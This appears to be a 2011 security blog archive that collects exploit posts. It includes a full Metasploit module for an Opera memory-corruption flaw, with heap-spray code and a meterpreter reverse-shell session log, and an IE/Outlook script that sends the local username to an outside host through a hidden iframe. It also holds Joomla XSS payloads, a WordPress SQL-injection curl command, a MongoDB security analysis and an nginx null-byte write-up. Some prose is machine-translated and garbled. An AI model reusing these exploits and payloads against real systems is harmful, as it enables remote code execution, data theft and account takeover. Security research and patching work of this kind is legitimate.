Nov 09

Send attenment demo.htm

Code:

  • <script>
  • xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");
  • xmlhttp.open("GET","../../../../../../../../../../../../../../boot.ini",false);
  • xmlhttp.send();
  • alert(xmlhttp.responseText);
  • </script>
  •  

    Information:

    <script>alert(document.URL)</script>

    Get dir info

    C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\OLKxxx

    Demo:

  • <script>
  • var path = document.URL;
  • var regx = /Settings\\(.*)\\Local/ var rs= regx.exec(path); username=rs[1];
  • iframe_dom("http://www.80vul.com/hackgame/xs-g0.php?username="+username);
  •  
  • function iframe_dom(script_filename) {
  •     var d = window.document;
  •     var newIframe = d.createElement('iframe');
  •     newIframe.src=script_filename;
  •     newIframe.style.width = 0;
  •     newIframe.style.height = 0;
  •     d.appendChild(newIframe);
  •     return false;
  • } </script>
  • Tagged with:
    Oct 07

    ################################################################### Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption
    #
    # Vulnerability:
    #
    # Discovered: 2010-08-18
    # Patched: 2011-05-18
    # Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)
    #                           v11.xx < v11.11 (v11.00, v11.01 and v11.10)
    # Patched on: v11.11
    #
    # Exploit:
    #
    # Coded: 2010-09-23
    # Last revision: 2011-09-30
    #
    # RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10*
    # DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63
    #
    # Notes:
    #
    #   1) DEP bypass: possible but unreliable.
    #   2) Let me know if you improve this one ;)
    #   3) Most of times, it won’t work at first attempt and need crash-dialog interaction.
    #
    # Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com
    #
    # Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, etc
    #
    # Running against Opera v10.62…
    #
    #
    #        =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
    # + — –=[ 741 exploits - 378 auxiliary - 82 post
    # + -- --=[ 228 payloads - 27 encoders - 8 nops
    #        =[ svn r13801 updated 3 days ago (2011.09.27)
    #
    # msf > use windows/browser/opera_frameset_tag
    # msf  exploit(opera_frameset_tag) > set payload windows/meterpreter/reverse_tcp
    # payload => windows/meterpreter/reverse_tcp
    # msf  exploit(opera_frameset_tag) > set LHOST 192.168.1.103
    # LHOST => 192.168.1.103
    # msf  exploit(opera_frameset_tag) > exploit
    # [*] Exploit running as background job.
    #
    # [*] Started reverse handler on 192.168.1.103:4444
    # msf  exploit(opera_frameset_tag) >
    # [*] Using URL: http://0.0.0.0:8080/sUpFmezLW6jS
    # [*]  Local IP: http://192.168.1.103:8080/sUpFmezLW6jS
    # [*] Server started.
    # [*] Sending Opera 10/11 (bad nesting with frameset tag) Memory Corruption to 192.168.1.104:1185 (target: Opera Browser (v10.6x – v11.xx) / Windows XP SP3 (DEP-default))
    # [*] Sending stage 1 (Spraying the heap)
    # [*] Sending stage 2 (Triggering the vulnerability)
    # [*] Sending stage 2 (Triggering the vulnerability)
    # [*] Sending stage 2 (Triggering the vulnerability)
    # [*] Sending stage (752128 bytes) to 192.168.1.104
    # [*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.104:1190) at 2011-09-30 19:23:28 +0200
    # Interrupt: use the ‘exit’ command to quit
    # msf  exploit(opera_frameset_tag) > sessions
    #
    # Active sessions
    # ===============
    #
    #   Id  Type                   Information                              Connection
    #   –  —-                   ———–                              ———-
    #   1   meterpreter x86/win32  0XDE1-A39ED4C12xde1 @ 0XDE1-A39ED4C12  192.168.1.103:4444 -> 192.168.1.104:1190
    #
    # msf  exploit(opera_frameset_tag) > sessions -i 1
    # [*] Starting interaction with 1…
    #
    # meterpreter > getuid
    # Server username: 0XDE1-A39ED4C12xde1
    # meterpreter > execute -f  calc.exe
    # Process 1336 created.
    # meterpreter > exit
    # [*] Shutting down Meterpreter…
    # msf  exploit(opera_frameset_tag) >
    #
    ######################################################
     
    require ‘msf/core’
     
    class Metasploit3 < Msf::Exploit::Remote
     
        Rank = NormalRanking
     
        include Msf::Exploit::Remote::HttpServer::HTML
        
        def initialize(info = {})
        
            super(update_info(info,
                ‘Name’           => ‘Opera 10/11 (bad nesting with frameset tag) Memory Corruption’,
                ‘Description’    => %q{
                
                    This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within
                    Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses.
                    Successfully exploiting leads to remote code execution or denial of service condition under Windows XP
                    SP3 (DEP = off).
                    
                    Note than most of cases, it won’t work at first attempt and need crash-dialog interaction.
                    Read the last reference for further details.
                    
                },
                ‘License’        => MSF_LICENSE,
                ‘Author’         =>
                    [
                        'Jose A. Vazquez'
                    ],
                ‘Version’        => ‘$Revision: 0011 $’,
                ‘References’     =>
                    [
                        ['CVE', '2011-2628'],
                        ['OSVDB', '72406'],
                        ['BID', '47906'],
                        ['URL', 'http://www.beyondsecurity.com/ssd.html’],
                        ['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html’]
                    ],
                ‘DefaultOptions’ =>
                    {
                        ‘EXITFUNC’          => ‘process’,
                        ‘HTTP::compression’ => ‘gzip’,
                        ‘HTTP::chunked’     => true
                    },
                ‘Payload’        =>
                    {
                        ‘Space’    => 1000,
                        ‘BadChars’ => "\x00",
                        ‘Compat’   =>
                            {
                                ‘ConnectionType’ => ‘-find’,
                            },
                        ‘StackAdjustment’ => -3500
                    },
                ‘Platform’       => ‘win’,
                ‘Targets’        =>
                    [
                        # Automatic
                        [ 'Automatic',
                            {}
                        ],
                        
                        # Opera > v10.54 ~ spray of 350 MB
                        [ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)',
                            {
                                'SizeofSpray' => 700,
                                'Ret' => 0x0c0c0c0c
                            }
                        ],
                        
                        # Opera <= v10.54 ~ spray of 250 MB
                        [ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)',
                            {
                                'SizeofSpray' => 500,
                                'Ret' => 0x0c0c0c0c
                            }
                        ],
                        
                        # Opera < v10.50 doesn’t get crashed with previous method and it needs this one.
                        [ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)',
                            {
                                'SizeofSpray' => 500,
                                'Ret' => 0x0c0c0c0c
                            }
                        ]
                    ],
                ‘DisclosureDate’ => ’5 October 2011′,
                ‘DefaultTarget’  => 0))
                
        end
        
        #I don’t know if Msf::Exploit::Remote::BrowserAutopwn works, but I’m going to include my own auto-target selection
        
        def automatic_target(cli, request)
     
            thistarget = nil
        
            agent = request.headers['User-Agent']
     
            if agent =~ /Version\/10\.00/ or agent =~ /Version\/10\.01/ or agent =~ /Version\/10\.10/
                thistarget = targets[3]
            elsif agent =~ /Version\/10\.50/ or agent =~ /Version\/10\.51/ or agent =~ /Version\/10\.52/ or agent =~ /Version\/10\.53/ or agent =~ /Version\/10\.54/
                thistarget = targets[2]
            else
                thistarget = targets[1]
            end
            
            thistarget
            
        end
        
        def on_request_uri(cli, request)
        
            mytarget = target
            
            if target.name == ‘Automatic’
                mytarget = automatic_target(cli, request)
            end
        
            if(request.uri =~ /\.xhtml$/)
            
                #Send file for trigger the vulnerability for cases > v10.10    
                    
                html = %Q|
                        <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
                        <meta http-equiv="refresh" content="0;url=" />  
                            <xht:frameset>
                                <xht:iframe>
                                    <xht:script>
                                    rbc
                                    </xht:script>
                                    <style type="text/css">
                                        <!– /* padding CSS */
     
                                        approx:root{  
                                            font: 333em;
                                        }
                                        –>
                                    </style>
                                </xht:iframe>
                            </xht:frameset>
                        </html>
                    |
            
                #Send triggerer
            
                print_status("Sending stage 2 (Triggering the vulnerability)")
                
                var_contentype = ‘application/xhtml+xml’
                
            else
                
                #Send payload + hide iframe for trigger the vuln
            
                #Re-generate the payload
            
                return if ((p = regenerate_payload(cli)) == nil)
                
                #Encode the shellcode
                
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
                
                #Ret
                
                addr_word  = [mytarget.ret].pack(‘V’).unpack(‘H*’)[0][0,4]
                
                #Randomize the javascript variable names
                
                var_buffer      =   rand_text_alpha(rand(30)+2)
                var_shellcode   =   rand_text_alpha(rand(30)+2)
                var_unescape    =   rand_text_alpha(rand(30)+2)
                var_x           =   rand_text_alpha(rand(30)+2)
                var_i           =   rand_text_alpha(rand(30)+2)
     
                var_size        =   rand_text_alpha(rand(30)+2)
                var_nopsize     =   rand_text_alpha(rand(30)+2)
                var_limit       =   rand_text_alpha(rand(30)+2)
                
                var_function_trigger    =   rand_text_alpha(rand(30)+2)
                var_file_trigger    =   rand_text_alpha(rand(30)+2)
                
                var_timer_trigger = (rand(3) + 2) * 1000
                
                #Build the exploit
                
                var_url =  ((datastore['SSL']) ? "https://" : "http://")
                var_url << ((datastore['SRVHOST'] == ’0.0.0.0′) ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
                var_url << ":" + datastore['SRVPORT']
                var_url << get_resource
                
                #Sending init HTML
                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})")
                
                if mytarget.name =~ /v10.00/
                
                # Case v10.00 – v10.10
                
                    html = %Q|
                        <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
                            <xht:frameset>
                                <xht:iframe>
                                    <xht:script>
                                        aaaaaa
                                    </xht:script>
                                </xht:iframe>
                            </xht:frameset>
                            <script type="text/javascript">
                                <![CDATA[
                                    var #{var_unescape}  = unescape;
                                    var #{var_shellcode} = #{var_unescape}("#{shellcode}");
     
                                    var #{var_size} = #{var_shellcode}.length * 2;
                                    var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
                                    var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
                                                            
                                    while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
                                        #{var_buffer} += #{var_buffer};
                                    }
     
                                    var #{var_x} = new Array();
                                        
                                    for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
                                        #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
                                    }
                                    setInterval("location.reload()", 500);
                                ]]>
                            </script>
                        <html>
                        | 
            
                    print_status("Sending simple stage (Sprayer and Triggerer)")
                    var_contentype = ‘application/xhtml+xml’
                
                else
                
                # Case > v10.10
                
                    html = %Q|
                            <html>
                                <head>
                                    <script type="text/javascript">
                                        var #{var_unescape}  = unescape;
                                        var #{var_shellcode} = #{var_unescape}("#{shellcode}");
     
                                        var #{var_size} = #{var_shellcode}.length * 2;
                                        var #{var_nopsize} = 0×100000 – (#{var_size} + 0×14);
                                        var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
                                                        
                                        while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
                                            #{var_buffer} += #{var_buffer};
                                        }
     
                                        var #{var_x} = new Array();
                                        
                                        for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
                                            #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
                                        }
                                        
                                        function #{var_function_trigger}(){
                                            document.write("<iframe src=’#{var_url}/#{var_file_trigger}.xhtml’></iframe>");
                                        }
                                        
                                        setTimeout(‘#{var_function_trigger}()’,#{var_timer_trigger});
                                        
                                    </script>
                                </head>
                            <html>
                        | 
                        
                    print_status("Sending stage 1 (Spraying the heap)")
                    var_contentype = ‘text/html’
                    
                end
                    
            end
        
            #Response
            send_response(cli, html, { ‘Content-Type’ => var_contentype, ‘Pragma’ => ‘no-cache’ })
            #Handle the payload       
            handler(cli)
            
        end
        
    end

    Tagged with:
    Oct 03

    1. OVERVIEW

    Joomla! 1.7.0 (stable version) is vulnerable to multiple Cross Site
    Scripting issues.

    2. BACKGROUND

    Joomla is a free and open source content management system (CMS) for
    publishing content on the World Wide Web and intranets. It comprises a
    model鈥搗iew鈥揷ontroller (MVC) Web application framework that can also be
    used independently.
    Joomla is written in PHP, uses object-oriented programming (OOP)
    techniques and software design patterns, stores data in a MySQL
    database, and includes features such as page caching, RSS feeds,
    printable versions of pages, news flashes, blogs, polls, search, and
    support for language internationalization.

    3. VULNERABILITY DESCRIPTION

    Several parameters (searchword, extension, asset, author ) in Joomla!
    Core components are not properly sanitized upon submission to the
    /index.php url, which allows attacker to conduct Cross Site Scripting
    attack. This may allow an attacker to create a specially crafted URL
    that would execute arbitrary script code in a victim’s browser.

    4. VERSION AFFECTED

    1.7.0 <=

    5. PROOF-OF-CONCEPT/EXPLOIT

    component: com_search, parameter: searchword (Browser: IE, Konqueror)
    ==========================================================

    [REQUEST]
    POST /joomla17_noseo/index.php HTTP/1.1
    Host: localhost
    Accept: */*
    Accept-Language: en
    User-Agent: MSIE 8.0
    Connection: close
    Referer: http://localhost/joomla17_noseo
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 456

    task=search&Itemid=435&searchword=Search’;onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,
    111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111
    ,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));
    alert(String.fromCharCod(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};
    //xsssssssssss&option=com_search
    [/REQUEST]

    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    User Login is required to execute the following XSSes.

    Parameter: extension, Component: com_categories
    ====================================================

    http://localhost/joomla17_noseo/administrator/index.php?option=com_categories&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22

    Parameter: asset , Component: com_media
    ====================================================

    http://localhost/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22&author=

    Parameter: author, Component: com_media
    ====================================================

    http://localhost/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=
    &author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22

    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    6. IMPACT

    Attackers can compromise currently logged-in user/administrator
    session and impersonate arbitrary user actions available under
    /administrator/ functions.

    7. SOLUTION

    Upgrade to Joomla! 1.7.1-stable or higher.

    8. VENDOR

    Joomla! Developer Team
    http://www.joomla.org

    9. CREDIT

    This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
    Ethical Hacker Group, Myanmar.

    10. DISCLOSURE TIME-LINE

    2011-07-29: notified vendor
    2011-09-26: patched version, 1.7.1-stable, released
    2011-09-29: vulnerability disclosed

    11. REFERENCES

    Original Advisory URL:
    http://yehg.net/lab/pr0js/advisories/joomla/core/%5Bjoomla_1.7.0-stable%5D_cross_site_scripting%28XSS%29
    Vendor Advisory URLs:
    http://developer.joomla.org/security/news/367-20110901-core-xss-vulnerability
    http://developer.joomla.org/security/news/368-20110902-core-xss-vulnerability

    Tagged with:
    Oct 02

    # Exploit Title: WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability
    # Date: 2011-09-22
    # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
    # Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
    # Version: 2.8.7 (tested)
     
    —————
    PoC (POST data)
    —————
    http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
    limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
     
    e.g.
    curl –data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
     
    —————
    Vulnerable code
    —————
    if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
        …
        $limit = intval($_POST['limit']);
        $page_offset = (intval($_POST['offset']) – 1) * $limit;
     
        foreach($_POST["item"] as $key => $value){
            $sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset ), $value );
            $result = mysql_query($sql);
        }
    }

    Tagged with:
    Sep 03

    Mongodb, so long to fire the thing actually had a good look.  Carefully until no time learn new things, always feel lack of energy.  The advantage of buying a book on fragmented in the VPS on the build, test, to see the implementation code.  Feeling quite interesting a database. Although the feeling it is very simple, especially when it is looking at the code feel so.  But this is not what is another example of KISS, or something simple but useful most popular.

    Since they saw their implementation, can not fail to output something.  Just did not update the blog for many years, on a simple analysis of the safety mongodb, Minato number first.

    The security situation in the default configuration

    By default, mongod is listening on 0.0.0.0 above.  And any client can be connected directly 27017, and no certification.  Advantage is that the developer or dba can get started immediately, without fear of being a bunch of configuration get the upset. Downside is, it is obvious that if you directly on a public server so build mongodb, so everyone can access and modify your database data.  By default, mongod is no administrator account. So unless you use the database in the admin db.addUser () command to add the administrator account, and use the – auth argument started mongod, or in a database that anyone can execute all commands without authentication.  Including delete and shutdown.

    In addition, mongod will default listening 28017 port, also binds to all ip.  This is a mongod native web monitoring interface  From which you can obtain the current connection to the database, log, status, operating system and other information.  If you open the – rest parameters, or even directly through the web interface to query data, perform mongod command.  I spent an evening trying to scan a B segment of the domestic and foreign a B segment.  The result is open 78 overseas mongodb, and 60 domestic.  I randomly picked one of 10 attempts to connect, and only one machine plus the administrator account to do the certification, while others are all undefended city. Shows that the problem is quite serious.

    In fact Mongodb itself has a very detailed security configuration guidelines , obviously he is thought of, but he is safe to push to the user to solve the task, this strategy is to bias their ease of use, for safety, then was sidelined .

    User information is stored and the certification process

    MySQL will be similar to the system user information stored in the mysql.user table.  mongodb will also be users of the system username, pwd stored in admin.system.users collection.  One pwd = MD5 (username + ": Mongo:" + real_password) .  This in itself is not a problem.  username and: mongo: equivalent to the original password plus a salt value, even if the attacker access to the database stored in md5 hash, also can not simply from the rainbow tables found in the original password.

    We look at mongodb interaction on the client how to achieve certification. mongo client and server interactions are based on clear, so it is easy to network sniffing, etc. crawl. Here we use a database that comes with mongosniff, can dump the client and server interaction for all packets:

    [root@localhost bin]# ./mongosniff –source NET lo
    sniffing 27017

    127.0.0.1:34142  –>> 127.0.0.1:27017 admin.$cmd  62 bytes  id:8        8
            query: { getnonce: 1.0 }  ntoreturn: -1 ntoskip: 0
    127.0.0.1:27017  <<–  127.0.0.1:34142   81 bytes  id:7 7 – 8
            reply n:1 cursorId: 0
            { nonce: "df97182fb47bd6d0", ok: 1.0 }
    127.0.0.1:34142  –>> 127.0.0.1:27017 admin.$cmd  152 bytes  id:9       9
            query: { authenticate: 1.0, user: "admin", nonce: "df97182fb47bd6d0", key: "3d839522b547931057284b6e1cd3a567" }  ntoreturn: -1 ntoskip: 0
    127.0.0.1:27017  <<–  127.0.0.1:34142   53 bytes  id:8 8 – 9
            reply n:1 cursorId: 0
            { ok: 1.0 }

     
    • The first step, client to server sends a command getnonce, apply a random value to the server nonce. server returns a 16-bit nonce.  The value returned here is not the same every time.
    • The second step, client will be entered by the user of the password through the algorithm to generate a key, the Key = MD5 (nonce + username + MD5 (username + ": Mongo:" + real_passwd)) , and the user name together with, nonce returned with to the server. server receives data, whether the first than the last nonce generated nonce, and then compare key == md5 (nonce + username + pwd).  If the same is verified by .

    As the start to finish no password hash over the network, but use a similar mechanism to the challenge, and every time nonce values ​​are different, so even if the attacker to intercept the key value, useless way through replay attacks by certification.

    However, when the attacker access to the database stored in pwd hash, the authentication mechanism does not play a role.  Even if the attacker does not break out the pwd hash the password corresponding to the original.  But can still send md5 (nonce + username + pwd) directly through the server’s certificate.  This server is actually the user’s pwd hash as the real password to verify, there is no text-based password authentication.  At this point, and I had analyzed the mysql authentication mechanism is actually no essential difference. Of course, this may not be regarded as weak authentication mechanism, but after all, to get the username and pwd mongodb likely will be even greater.

    image

    However, the monitoring interface of the Web there are a number of different certification.  When the client source is not localhost, where the user authentication process is based on The certification process is similar with mongo.  But a major difference: here’s nonce is not randomized, but each time the default is "abc" .

    Using this feature, if the attacker grabbed a successful administrator login, so he can replay this packet, directly to Web monitoring page.

    Similarly, an attacker can brute force through this interface directly mongo username and password.  In fact 27017 and 28017 are not limited to the password to do guess, but the Web because no time to get nonce, so will be easier.

    JavaScript implementation and protection of

    Mongodb itself one of the biggest feature is that he is using the javascript language as a command-driven.  Hackers would be more concerned about this, because of its command of the degree of support, is to get permission mongodb whether after further penetrate key.  Javascript standard library itself is actually quite weakWhether spidermonkey or v8 engine is actually not the system, the file related to the operation support.  In this regard, mongodb do some expansion . You can see, ls / cat / cd / hostname even runProgram have been in the context of a Javascript implementation.  See here is not can not wait?  mongo shell in type ls ("./"), try to see return.

    How the results so familiar? Haha, yes, in fact, are these api to achieve in the context of the client. A little joke:) So if you can do in the server side js it?  The answer is yes. Use db.eval (code) – in fact the underlying implementation is db. $ Cmd.findOne ({$ eval: code}) – We can implement the server side js code.

    Of course, there are in the server side js context expansion .  Obviously mongod into account the security issues (and possibly other reasons), so in here and did not provide such a powerful client. Of course mongodb is constantly updated, long-term interest in this list, maybe later have a similar load_file / exec like to achieve.

    Eliminate the problems caused by server problems js implementation can be used noscripting parameters.Directly prohibit server-side js code execution.

    Tagged with:
    Aug 31

    The Apache Software Foundation and the Apache HTTP Server Project are pleased to announce the release of version 2.2.20 of the Apache HTTP Server ("Apache"). This version of Apache is principally a security and bug fix release:

    • SECURITY: CVE-2011-3192 (cve.mitre.org) core: Fix handling of byte-range requests to use less memory, to avoid denial of service. If the sum of all ranges in a request is larger than the original file, ignore the ranges and send the complete file. PR 51714.

    We consider this release to be the best version of Apache available, and encourage users of all prior versions to upgrade.

    Apache HTTP Server 2.2.20 is available for download from:

    http://httpd.apache.org/download.cgi

    Please see the CHANGES_2.2 file, linked from the download page, for a full list of changes. A condensed list, CHANGES_2.2.20 provides the complete list of changes since 2.2.19. A summary of all of the security vulnerabilities addressed in this and earlier releases is available:

    http://httpd.apache.org/security/vulnerabilities_22.html

    This release includes the Apache Portable Runtime (APR) version 1.4.5 and APR Utility Library (APR-util) version 1.3.12, bundled with the tar and zip distributions. The APR libraries libapr and libaprutil (and on Win32, libapriconv version 1.2.1) must all be updated to ensure binary compatibility and address many known security and platform bugs.

    Apache 2.2 offers numerous enhancements, improvements, and performance boosts over the 2.0 codebase. For an overview of new features introduced since 2.0 please see:

    http://httpd.apache.org/docs/2.2/new_features_2_2.html

    This release builds on and extends the Apache 2.0 API. Modules written for Apache 2.0 will need to be recompiled in order to run with Apache 2.2, and require minimal or no source code changes.

    http://svn.apache.org/repos/asf/httpd/httpd/branches/2.2.x/VERSIONING

    When upgrading or installing this version of Apache, please bear in mind that if you intend to use Apache with one of the threaded MPMs (other than the Prefork MPM), you must ensure that any modules you will be using (and the libraries they depend on) are thread-safe.

    Tagged with:
    Aug 25

    I came across a separate null-byte injection vulnerability in older versions of nginx (0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37). By taking advantage of this vulnerability, an attacker can cause a server that uses PHP-FastCGI to execute any publicly accessible file on the server as PHP.

    In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h). Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.

    The attack itself is simple: a malicious user who makes a request to http://example.com/file.ext%00.php causes file.ext to be parsed as PHP. If an attacker can control the contents of a file served up by nginx (ie: using an avatar upload form) the result is arbitrary code execution. This vulnerability can not be mitigated by nginx configuration settings like try_files or PHP configuration settings like cgi.fix_pathinfo: the only defense is to upgrade to a newer version of nginx or to explicitly block potentially malicious requests to directories containing user-controlled content.

    # This location block will prevent an attacker from exploiting

    # this vulnerability using files in the 'uploads' or 'other_uploads' directory

    location ~ ^/(uploads|other_uploads)/.*.php$

    {

    deny all;

    }

    Although the affected versions of nginx are relatively old (0.7.66 was released June 7th, 2010, 0.8.38 was released May 24th 2010), no mention of the change appears in the release notes. As a result, administrators may be running vulnerable servers without realizing their risk. I discovered a couple places where vulnerable packages were being distributed:

    1. Ubuntu Lucid Lynx (Ubuntu’s current LTS offering) and Hardy Heron (via both the hardy and hardy-backports repositories) provided vulnerable versions of nginx via apt-get. The lucid and hardy packages have been updated: hardy-backports is awaiting approval. [1] [2]
    2. Fedora provides a vulnerable version in its EPEL-4 repository. At this time, an updated package has not been released.

    or anyone who’s curious, the changes can be found at r3528 from svn://svn.nginx.org. At that time, it appears trunk corresponded to nginx 0.8: r3599 merged r3528 into the nginx 0.7 branch. The corresponding commit message is "remove r->zero_in_uri." I’ve reproduced the output of svn diff below:

    Index: src/http/ngx_http_request.h

    ===================================================================

    --- src/http/ngx_http_request.h (revision 3527)

    +++ src/http/ngx_http_request.h (revision 3528)

    @@ -56,7 +56,7 @@

    #define NGX_HTTP_PARSE_INVALID_HEADER 13

    -#define NGX_HTTP_ZERO_IN_URI 1

    +/* unused 1 */

    #define NGX_HTTP_SUBREQUEST_IN_MEMORY 2

    #define NGX_HTTP_SUBREQUEST_WAITED 4

    #define NGX_HTTP_LOG_UNSAFE 8

    @@ -435,9 +435,6 @@

    /* URI with "+" */

    unsigned plus_in_uri:1;

    - /* URI with "" or "%00" */

    - unsigned zero_in_uri:1;

    -

    unsigned invalid_header:1;

    unsigned valid_location:1;

    Index: src/http/ngx_http_core_module.c

    ===================================================================

    --- src/http/ngx_http_core_module.c (revision 3527)

    +++ src/http/ngx_http_core_module.c (revision 3528)

    @@ -1341,7 +1341,7 @@

    /* no content handler was found */

    - if (r->uri.data[r->uri.len - 1] == '/' && !r->zero_in_uri) {

    + if (r->uri.data[r->uri.len - 1] == '/') {

    if (ngx_http_map_uri_to_path(r, &path, &root, 0) != NULL) {

    ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,

    @@ -2104,7 +2104,6 @@

    ngx_log_debug2(NGX_LOG_DEBUG_HTTP, c->log, 0,

    "http subrequest \"%V?%V\"", uri, &sr->args);

    - sr->zero_in_uri = (flags & NGX_HTTP_ZERO_IN_URI) != 0;

    sr->subrequest_in_memory = (flags & NGX_HTTP_SUBREQUEST_IN_MEMORY) != 0;

    sr->waited = (flags & NGX_HTTP_SUBREQUEST_WAITED) != 0;

    Index: src/http/ngx_http_special_response.c

    ===================================================================

    --- src/http/ngx_http_special_response.c (revision 3527)

    +++ src/http/ngx_http_special_response.c (revision 3528)

    @@ -517,8 +517,6 @@

    r->err_status = overwrite;

    - r->zero_in_uri = 0;

    -

    if (ngx_http_complex_value(r, &err_page->value, &uri) != NGX_OK) {

    return NGX_ERROR;

    }

    Index: src/http/ngx_http_upstream.c

    ===================================================================

    --- src/http/ngx_http_upstream.c (revision 3527)

    +++ src/http/ngx_http_upstream.c (revision 3528)

    @@ -1815,10 +1815,6 @@

    return NGX_DONE;

    }

    - if (flags & NGX_HTTP_ZERO_IN_URI) {

    - r->zero_in_uri = 1;

    - }

    -

    if (r->method != NGX_HTTP_HEAD) {

    r->method = NGX_HTTP_GET;

    }

    Index: src/http/ngx_http_parse.c

    ===================================================================

    --- src/http/ngx_http_parse.c (revision 3527)

    +++ src/http/ngx_http_parse.c (revision 3528)

    @@ -438,8 +438,7 @@

    r->plus_in_uri = 1;

    break;

    case '':

    - r->zero_in_uri = 1;

    - break;

    + return NGX_HTTP_PARSE_INVALID_REQUEST;

    default:

    state = sw_check_uri;

    break;

    @@ -496,8 +495,7 @@

    r->plus_in_uri = 1;

    break;

    case '':

    - r->zero_in_uri = 1;

    - break;

    + return NGX_HTTP_PARSE_INVALID_REQUEST;

    }

    break;

    @@ -526,8 +524,7 @@

    r->complex_uri = 1;

    break;

    case '':

    - r->zero_in_uri = 1;

    - break;

    + return NGX_HTTP_PARSE_INVALID_REQUEST;

    }

    break;

    @@ -1202,7 +1199,7 @@

    ch = *p++;

    } else if (ch == '') {

    - r->zero_in_uri = 1;

    + return NGX_HTTP_PARSE_INVALID_REQUEST;

    }

    state = quoted_state;

    @@ -1304,8 +1301,7 @@

    }

    if (ch == '') {

    - *flags |= NGX_HTTP_ZERO_IN_URI;

    - continue;

    + goto unsafe;

    }

    if (ngx_path_separator(ch) && len > 2) {

    @@ -1449,34 +1445,19 @@

    void

    ngx_http_split_args(ngx_http_request_t *r, ngx_str_t *uri, ngx_str_t *args)

    {

    - u_char ch, *p, *last;

    + u_char *p, *last;

    - p = uri->data;

    + last = uri->data + uri->len;

    - last = p + uri->len;

    + p = ngx_strlchr(uri->data, last, '?');

    - args->len = 0;

    + if (p) {

    + uri->len = p - uri->data;

    + p++;

    + args->len = last - p;

    + args->data = p;

    - while (p < last) {

    -

    - ch = *p++;

    -

    - if (ch == '?') {

    - args->len = last - p;

    - args->data = p;

    -

    - uri->len = p - 1 - uri->data;

    -

    - if (ngx_strlchr(p, last, '') != NULL) {

    - r->zero_in_uri = 1;

    - }

    -

    - return;

    - }

    -

    - if (ch == '') {

    - r->zero_in_uri = 1;

    - continue;

    - }

    + } else {

    + args->len = 0;

    }

    }

    Index: src/http/modules/ngx_http_gzip_static_module.c

    ===================================================================

    --- src/http/modules/ngx_http_gzip_static_module.c (revision 3527)

